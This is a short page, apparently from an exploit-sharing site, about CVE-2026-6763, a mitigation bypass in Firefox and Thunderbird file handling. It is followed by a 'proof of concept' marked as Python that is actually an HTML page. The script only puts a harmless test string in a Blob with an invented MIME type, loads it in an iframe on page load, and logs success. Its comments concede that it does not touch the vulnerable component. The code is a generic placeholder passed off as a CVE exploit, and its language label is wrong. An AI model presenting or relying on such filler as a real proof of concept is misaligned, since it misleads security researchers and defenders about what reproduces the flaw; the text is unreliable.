Mitigation bypass in the File Handling component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-6763 -->
<!-- This HTML file attempts to trigger the mitigation bypass in the file handling component. -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-6763 PoC</title>
</head>
<body>
<script>
// Attempt to trigger the vulnerability via a specific file handling sequence
function triggerBypass() {
try {
// Create a blob representing a file that triggers the handling logic
var maliciousContent = "Test payload for mitigation bypass";
var blob = new Blob([maliciousContent], {type: "application/vnd.mozilla.test"});
var url = URL.createObjectURL(blob);
// Simulate the condition that bypasses the mitigation
// In a real scenario, this would interact with the specific vulnerable component
var iframe = document.createElement('iframe');
iframe.src = url;
document.body.appendChild(iframe);
console.log("[+] PoC executed: Check if security mitigations were bypassed.");
} catch (e) {
console.log("[-] PoC execution failed: " + e.message);
}
}
// Auto-execute on load
window.onload = triggerBypass;
</script>
</body>
</html>